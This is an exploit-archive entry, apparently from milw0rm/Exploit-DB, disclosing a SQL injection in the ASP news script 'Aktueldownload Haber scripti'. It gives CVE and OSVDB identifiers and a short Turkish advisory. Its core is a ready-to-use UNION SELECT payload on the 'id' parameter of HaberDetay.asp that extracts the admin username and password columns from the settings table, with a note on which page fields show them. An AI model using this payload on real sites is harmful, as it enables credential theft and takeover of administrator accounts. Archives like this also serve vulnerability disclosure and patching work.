Aktueldownload Haber scripti - 'id' SQL Injection

Author: Mehmet Ince
type: webapps
platform: asp
port: nan
date_added: 2007-02-14 
date_updated: 2007-02-15 
verified: 1 
codes: OSVDB-58782;CVE-2007-1016;CVE-2007-1015;OSVDB-56501 
tags: 
aliases:  
screenshot_url:  
application_url: 

-----------------------------------------------------------------------

Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability

-----------------------------------------------------------------------


Bulan: xoron

xoron.info - xoron.biz

-----------------------------------------------------------------------

Exploit:  HaberDetay.asp
?id=-1+union+select+0,1,kadi,4,5,parola,7+from+ayar

-----------------------------------------------------------------------

Açyklama: username
Eklenme tarihi: password

-----------------------------------------------------------------------


Download: http://www.aspindir.com/Goster/4656


-----------------------------------------------------------------------

# milw0rm.com [2007-02-15]